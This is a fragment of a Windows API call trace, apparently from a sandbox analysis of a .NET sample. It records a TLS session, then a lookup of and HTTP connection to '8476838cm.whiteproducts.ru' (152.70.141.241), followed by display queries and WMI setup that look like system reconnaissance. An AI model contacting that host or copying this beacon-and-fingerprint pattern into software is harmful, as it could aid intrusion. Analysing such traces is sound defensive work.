phNewContext=0x236e518, pOutput=0x236e898, pfContextAttr=0x236c010, ptsExpiry=0x1b19d290 | out: phNewContext=0x236e518, pOutput=0x236e898, pfContextAttr=0x236c010, ptsExpiry=0x1b19d290) returned 0x90312 [0108.702] recv (in: s=0x3ac, buf=0x236e988, len=5, flags=0 | out: buf=0x236e988*) returned 5 [0108.702] recv (in: s=0x3ac, buf=0x236e9c5, len=2329, flags=0 | out: buf=0x236e9c5*) returned 2329 [0108.703] InitializeSecurityContextW (in: phCredential=0x1b19d188, phContext=0x1b19d170, pTargetName=0x236aad4, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x236f3a8, Reserved2=0x0, phNewContext=0x236e518, pOutput=0x236f3c8, pfContextAttr=0x236c010, ptsExpiry=0x1b19d180 | out: phNewContext=0x236e518, pOutput=0x236f3c8, pfContextAttr=0x236c010, ptsExpiry=0x1b19d180) returned 0x90312 [0108.707] recv (in: s=0x3ac, buf=0x236f4b8, len=5, flags=0 | out: buf=0x236f4b8*) returned 5 [0108.707] recv (in: s=0x3ac, buf=0x236f4dd, len=148, flags=0 | out: buf=0x236f4dd*) returned 148 [0108.708] InitializeSecurityContextW (in: phCredential=0x1b19d078, phContext=0x1b19d060, pTargetName=0x236aad4, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x236f640, Reserved2=0x0, phNewContext=0x236e518, pOutput=0x236f660, pfContextAttr=0x236c010, ptsExpiry=0x1b19d070 | out: phNewContext=0x236e518, pOutput=0x236f660, pfContextAttr=0x236c010, ptsExpiry=0x1b19d070) returned 0x90312 [0108.708] recv (in: s=0x3ac, buf=0x236f750, len=5, flags=0 | out: buf=0x236f750*) returned 5 [0108.708] recv (in: s=0x3ac, buf=0x236f775, len=4, flags=0 | out: buf=0x236f775*) returned 4 [0108.708] InitializeSecurityContextW (in: phCredential=0x1b19cf68, phContext=0x1b19cf50, pTargetName=0x236aad4, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x236f848, Reserved2=0x0, phNewContext=0x236e518, pOutput=0x236f868, pfContextAttr=0x236c010, ptsExpiry=0x1b19cf60 | out: phNewContext=0x236e518, pOutput=0x236f868, pfContextAttr=0x236c010, ptsExpiry=0x1b19cf60) returned 0x90312 [0108.737] FreeContextBuffer (in: pvContextBuffer=0x1a69a4a0 | out: pvContextBuffer=0x1a69a4a0) returned 0x0 [0108.737] send (s=0x3ac, buf=0x236f938*, len=126, flags=0) returned 126 [0108.737] recv (in: s=0x3ac, buf=0x236f938, len=5, flags=0 | out: buf=0x236f938*) returned 5 [0108.754] recv (in: s=0x3ac, buf=0x236f93d, len=1, flags=0 | out: buf=0x236f93d*) returned 1 [0108.754] InitializeSecurityContextW (in: phCredential=0x1b19ce58, phContext=0x1b19ce40, pTargetName=0x236aad4, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x236faa0, Reserved2=0x0, phNewContext=0x236e518, pOutput=0x236fac0, pfContextAttr=0x236c010, ptsExpiry=0x1b19ce50 | out: phNewContext=0x236e518, pOutput=0x236fac0, pfContextAttr=0x236c010, ptsExpiry=0x1b19ce50) returned 0x90312 [0108.755] recv (in: s=0x3ac, buf=0x236fbb0, len=5, flags=0 | out: buf=0x236fbb0*) returned 5 [0108.755] recv (in: s=0x3ac, buf=0x236fbd5, len=40, flags=0 | out: buf=0x236fbd5*) returned 40 [0108.755] InitializeSecurityContextW (in: phCredential=0x1b19cd48, phContext=0x1b19cd30, pTargetName=0x236aad4, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x236fcc8, Reserved2=0x0, phNewContext=0x236e518, pOutput=0x236fce8, pfContextAttr=0x236c010, ptsExpiry=0x1b19cd40 | out: phNewContext=0x236e518, pOutput=0x236fce8, pfContextAttr=0x236c010, ptsExpiry=0x1b19cd40) returned 0x0 [0108.767] QueryContextAttributesW (in: phContext=0x236e518, ulAttribute=0x4, pBuffer=0x236fe10 | out: pBuffer=0x236fe10) returned 0x0 [0108.768] QueryContextAttributesW (in: phContext=0x236e518, ulAttribute=0x5a, pBuffer=0x236fea0 | out: pBuffer=0x236fea0) returned 0x0 [0108.776] QueryContextAttributesW (in: phContext=0x236e518, ulAttribute=0x53, pBuffer=0x236ff90 | out: pBuffer=0x236ff90) returned 0x0 [0108.786] CertDuplicateCRLContext (pCrlContext=0x1a7186b0) returned 0x1a7186b0 [0108.788] CertDuplicateStore (hCertStore=0x1a6fda80) returned 0x1a6fda80 [0108.789] CertDuplicateCRLContext (pCrlContext=0x1a718730) returned 0x1a718730 [0108.789] CertEnumCertificatesInStore (hCertStore=0x1a6fda80, pPrevCertContext=0x1a718730) returned 0x1a7186b0 [0108.789] CertDuplicateCRLContext (pCrlContext=0x1a7186b0) returned 0x1a7186b0 [0108.789] CertEnumCertificatesInStore (hCertStore=0x1a6fda80, pPrevCertContext=0x1a7186b0) returned 0x0 [0108.789] CertCloseStore (hCertStore=0x1a6fda80, dwFlags=0x0) returned 1 [0108.789] CertFreeCRLContext (pCrlContext=0x1a7186b0) returned 1 [0108.802] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x1a70b450 [0108.803] CertAddCRLLinkToStore (in: hCertStore=0x1a70b450, pCrlContext=0x1a7186b0, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0108.804] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1a73a480 [0108.805] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x1a7186b0, pTime=0x1b19cea0, hAdditionalStore=0x1a70b450, pChainPara=0x1b19cd38, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x1b19cd20 | out: ppChainContext=0x1b19cd20) returned 1 [0109.131] LocalFree (hMem=0x1a73a480) returned 0x0 [0109.132] CertDuplicateCertificateChain (pChainContext=0x1c26b2d0) returned 0x1c26b2d0 [0109.133] CertDuplicateCRLContext (pCrlContext=0x1a7186b0) returned 0x1a7186b0 [0109.134] CertDuplicateCRLContext (pCrlContext=0x1c2abdc0) returned 0x1c2abdc0 [0109.134] CertDuplicateCRLContext (pCrlContext=0x1c2abe40) returned 0x1c2abe40 [0109.134] CertFreeCertificateChain (pChainContext=0x1c26b2d0) [0109.135] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x1c26b2d0, pPolicyPara=0x1b19cfe8, pPolicyStatus=0x1b19cfc8 | out: pPolicyStatus=0x1b19cfc8) returned 1 [0109.137] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x1c26b2d0, pPolicyPara=0x1b19d0b8, pPolicyStatus=0x1b19d018 | out: pPolicyStatus=0x1b19d018) returned 1 [0109.150] CertFreeCertificateChain (pChainContext=0x1c26b2d0) [0109.151] CertFreeCRLContext (pCrlContext=0x1a7186b0) returned 1 [0109.155] CoTaskMemAlloc (cb=0x20c) returned 0x1c1ce0b0 [0109.155] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x1c1ce0b0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0109.155] CoTaskMemFree (pv=0x1c1ce0b0) [0109.155] CoTaskMemAlloc (cb=0x20c) returned 0x1c1ce0b0 [0109.155] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x1c1ce0b0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0109.155] CoTaskMemFree (pv=0x1c1ce0b0) [0109.155] CoTaskMemAlloc (cb=0x20c) returned 0x1c1ce0b0 [0109.155] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x1c1ce0b0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0109.156] CoTaskMemFree (pv=0x1c1ce0b0) [0109.156] CoTaskMemAlloc (cb=0x20c) returned 0x1c1ce0b0 [0109.156] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x1c1ce0b0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0109.156] CoTaskMemFree (pv=0x1c1ce0b0) [0109.158] send (s=0x3ac, buf=0x2377dc8*, len=231, flags=0) returned 231 [0109.167] setsockopt (s=0x3ac, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0109.170] recv (in: s=0x3ac, buf=0x23857d0, len=5, flags=0 | out: buf=0x23857d0*) returned 5 [0109.368] recv (in: s=0x3ac, buf=0x23857d5, len=856, flags=0 | out: buf=0x23857d5*) returned 856 [0109.369] DecryptMessage (in: phContext=0x236e518, pMessage=0x23898f8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x23898f8, pfQOP=0x0) returned 0x0 [0109.397] setsockopt (s=0x3ac, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0109.399] recv (in: s=0x3ac, buf=0x23857d0, len=5, flags=0 | out: buf=0x23857d0*) returned 5 [0109.399] recv (in: s=0x3ac, buf=0x23857d5, len=29, flags=0 | out: buf=0x23857d5*) returned 29 [0109.399] DecryptMessage (in: phContext=0x236e518, pMessage=0x23ab460, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x23ab460, pfQOP=0x0) returned 0x0 [0109.400] SetEvent (hEvent=0x24c) returned 1 [0109.674] QueryPerformanceCounter (in: lpPerformanceCount=0x1b19d858 | out: lpPerformanceCount=0x1b19d858*=2491615763058) returned 1 [0109.676] SetEvent (hEvent=0x24c) returned 1 [0109.694] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x598 [0109.696] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5b4 [0109.696] GetAddrInfoW (in: pNodeName="8476838cm.whiteproducts.ru", pServiceName=0x0, pHints=0x1b19d388*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1b19d2d0 | out: ppResult=0x1b19d2d0*=0x1c2b9d70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="8476838cm.whiteproducts.ru", ai_addr=0x1c2c8bb0*(sa_family=2, sin_port=0x0, sin_addr="152.70.141.241"), ai_next=0x0)) returned 0 [0109.710] FreeAddrInfoW (pAddrInfo=0x1c2b9d70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="8476838cm.whiteproducts.ru", ai_addr=0x1c2c8bb0*(sa_family=2, sin_port=0x0, sin_addr="152.70.141.241"), ai_next=0x0)) [0109.712] WSAConnect (in: s=0x598, name=0x23d9fd0*(sa_family=2, sin_port=0x50, sin_addr="152.70.141.241"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0109.867] closesocket (s=0x5b4) returned 0 [0109.868] send (s=0x598, buf=0x23da958*, len=562, flags=0) returned 562 [0109.869] setsockopt (s=0x598, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0109.869] recv (in: s=0x598, buf=0x2365058, len=4096, flags=0 | out: buf=0x2365058*) returned 2307 [0110.383] setsockopt (s=0x598, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0111.019] GetSystemMetrics (nIndex=80) returned 1 [0111.045] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1b19cc30 | out: lpmi=0x1b19cc30) returned 1 [0111.047] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x38010a2c [0111.058] GetDeviceCaps (hdc=0x38010a2c, index=12) returned 32 [0111.058] GetDeviceCaps (hdc=0x38010a2c, index=14) returned 1 [0111.058] DeleteDC (hdc=0x38010a2c) returned 1 [0111.064] GetProcessWindowStation () returned 0x44 [0111.066] GetUserObjectInformationA (in: hObj=0x44, nIndex=1, pvInfo=0x23f0d60, nLength=0xc, lpnLengthNeeded=0x1b19cfb0 | out: pvInfo=0x23f0d60, lpnLengthNeeded=0x1b19cfb0) returned 1 [0111.066] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x618 [0111.341] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x638 [0111.342] CoGetObjectContext (in: riid=0x23f1ee0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b19c088 | out: ppv=0x1b19c088*=0x1a6a03d8) returned 0x0 [0111.355] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b19a9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0111.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=65, lpMultiByteStr=0x1b19afe0, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll°á\x91\x07¤", lpUsedDefaultChar=0x0) returned 65 [0111.357] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7fef4610000 [0111.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x1b19b010, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject°{pñþ\x07", lpUsedDefaultChar=0x0) returned 24 [0111.414] GetProcAddress (hModule=0x7fef4610000, lpProcName="BlessIWbemServicesObject") returned 0x7fef4612900 [0111.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x1b19b020, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration", lpUsedDefaultChar=0x0) returned 14 [0111.531] GetProcAddress (hModule=0x7fef4610000, lpProcName="EndEnumeration") returned 0x7fef4613150 [0111.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x1b19b010, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0111.540] GetProcAddress (hModule=0x7fef4610000, lpProcName="GetPropertyQualifierSet") returned 0x7fef46139e0 [0111.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1b19b020, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0111.573] GetProcAddress (hModule=0x7fef4610000, lpProcName="Clone") returned 0x7fef46129c0 [0111.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x1b19b020, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText\x07", lpUsedDefaultChar=0x0) returned 13 [0111.574] GetProcAddress (hModule=0x7fef4610000, lpProcName="GetObjectText") returned 0x7fef4613860 [0111.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x1b19b010, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass;?\x02", lpUsedDefaultChar=0x0) returned 17 [0111.589] GetProcAddress (hModule=0x7fef4610000, lpProcName="SpawnDerivedClass") returned 0x7fef4614420 [0111.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x1b19b020, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance\x07", lpUsedDefaultChar=0x0) returned 13 [0111.594] GetProcAddress (hModule=0x7fef4610000, lpProcName="SpawnInstance") returned 0x7fef4614480 [0111.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x1b19b020, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo{pñþ\x07", lpUsedDefaultChar=0x0) returned 9 [0111.596] GetProcAddress (hModule=0x7fef4610000, lpProcName="CompareTo") returned 0x7fef4612b30 [0111.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x1b19b010, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin=?\x02", lpUsedDefaultChar=0x0) returned 17 [0111.599] GetProcAddress (hModule=0x7fef4610000, lpProcName="GetPropertyOrigin") returned 0x7fef4613980 [0111.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x1b19b020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFromþ\x07", lpUsedDefaultChar=0x0) returned 12 [0111.617] GetProcAddress (hModule=0x7fef4610000, lpProcName="InheritsFrom") returned 0x7fef4613a80 [0111.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x1b19b020, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod{pñþ\x07", lpUsedDefaultChar=0x0) returned 9 [0111.618] GetProcAddress (hModule=0x7fef4610000, lpProcName="GetMethod") returned 0x7fef46136c0 [0111.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x1b19b020, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod{pñþ\x07", lpUsedDefaultChar=0x0) returned 9 [0111.626] GetProcAddress (hModule=0x7fef4610000, lpProcName="PutMethod") returned 0x7fef4613f30 [0111.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x1b19b020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethodþ\x07", lpUsedDefaultChar=0x0) returned 12 [0111.633] GetProcAddress (hModule=0x7fef4610000, lpProcName="DeleteMethod") returned 0x7fef4613030 [0111.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x1b19b010, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration", lpUsedDefaultChar=0x0) returned 22 [0111.634] GetProcAddress (hModule=0x7fef4610000, lpProcName="BeginMethodEnumeration") returned 0x7fef46127f0 [0111.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x1b19b020, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodpñþ\x07", lpUsedDefaultChar=0x0) returned 10 [0111.635] GetProcAddress (hModule=0x7fef4610000, lpProcName="NextMethod") returned 0x7fef4613ba0 [0111.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x1b19b010, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration", lpUsedDefaultChar=0x0) returned 20 [0111.640] GetProcAddress (hModule=0x7fef4610000, lpProcName="EndMethodEnumeration") returned 0x7fef4613180 [0111.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x1b19b010, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet", lpUsedDefaultChar=0x0) returned 21 [0111.641] GetProcAddress (hModule=0x7fef4610000, lpProcName="GetMethodQualifierSet") returned 0x7fef4613790 [0111.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x1b19b010, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0111.643] GetProcAddress (hModule=0x7fef4610000, lpProcName="GetMethodOrigin") returned 0x7fef4613730 [0111.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x1b19b010, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetðA?\x02", lpUsedDefaultChar=0x0) returned 16 [0111.644] GetProcAddress (hModule=0x7fef4610000, lpProcName="QualifierSet_Get") returned 0x7fef4614050 [0111.743] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19af78 | out: phkResult=0x1b19af78*=0x63c) returned 0x0 [0111.743] RegQueryValueExW (in: hKey=0x63c, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x1b19afb8, lpData=0x0, lpcbData=0x1b19afb0*=0x0 | out: lpType=0x1b19afb8*=0x0, lpData=0x0, lpcbData=0x1b19afb0*=0x0) returned 0x2 [0111.743] RegCloseKey (hKey=0x63c) returned 0x0 [0111.744] IUnknown:Release (This=0x1a6a03d8) returned 0x0 [0112.058] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1b19b8c8 | out: lpiid=0x1b19b8c8) returned 0x0 [0112.060] CoGetClassObject (in: rclsid=0x1c2badc8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b19b4a0 | out: ppv=0x1b19b4a0*=0x1c2c9190) returned 0x0 [0112.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c9190, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b19b4e8 | out: ppvObject=0x1b19b4e8*=0x0) returned 0x80004002 [0112.173] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c2c9190, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19b498 | out: ppvObject=0x1b19b498*=0x1a6e93a0) returned 0x0 [0112.173] WbemDefPath:IUnknown:Release (This=0x1c2c9190) returned 0x0 [0112.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a6e93a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19b2a8 | out: ppvObject=0x1b19b2a8*=0x1a6e93a0) returned 0x0 [0112.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a6e93a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b19b350 | out: ppvObject=0x1b19b350*=0x0) returned 0x80004002 [0112.174] WbemDefPath:IUnknown:AddRef (This=0x1a6e93a0) returned 0x3 [0112.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a6e93a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b19a9f8 | out: ppvObject=0x1b19a9f8*=0x0) returned 0x80004002 [0112.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a6e93a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b19a980 | out: ppvObject=0x1b19a980*=0x0) returned 0x80004002 [0112.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a6e93a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19a970 | out: ppvObject=0x1b19a970*=0x1c2c8cb0) returned 0x0 [0112.175] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c2c8cb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b19a998 | out: pCid=0x1b19a998*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.175] WbemDefPath:IUnknown:Release (This=0x1c2c8cb0) returned 0x3 [0112.175] CoGetContextToken (in: pToken=0x1b19aa20 | out: pToken=0x1b19aa20) returned 0x0 [0112.175] CoGetContextToken (in: pToken=0x1b19aea0 | out: pToken=0x1b19aea0) returned 0x0 [0112.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a6e93a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19af60 | out: ppvObject=0x1b19af60*=0x0) returned 0x80004002 [0112.175] WbemDefPath:IUnknown:Release (This=0x1a6e93a0) returned 0x2 [0112.175] WbemDefPath:IUnknown:Release (This=0x1a6e93a0) returned 0x1 [0112.177] CoGetContextToken (in: pToken=0x1b19bcc0 | out: pToken=0x1b19bcc0) returned 0x0 [0112.177] CoGetContextToken (in: pToken=0x1b19bbc0 | out: pToken=0x1b19bbc0) returned 0x0 [0112.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a6e93a0, riid=0x1b19bd20*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b19bcf0 | out: ppvObject=0x1b19bcf0*=0x1a6e93a0) returned 0x0 [0112.177] WbemDefPath:IUnknown:AddRef (This=0x1a6e93a0) returned 0x3 [0112.177] WbemDefPath:IUnknown:Release (This=0x1a6e93a0) returned 0x2 [0112.179] WbemDefPath:IWbemPath:SetText (This=0x1a6e93a0, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0112.180] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a6e93a0, puCount=0x1b19d010 | out: puCount=0x1b19d010*=0x2) returned 0x0 [0112.180] WbemDefPath:IWbemPath:GetText (in: This=0x1a6e93a0, lFlags=4, puBuffLength=0x1b19d008*=0x0, pszText=0x0 | out: puBuffLength=0x1b19d008*=0xf, pszText=0x0) returned 0x0 [0112.181] WbemDefPath:IWbemPath:GetText (in: 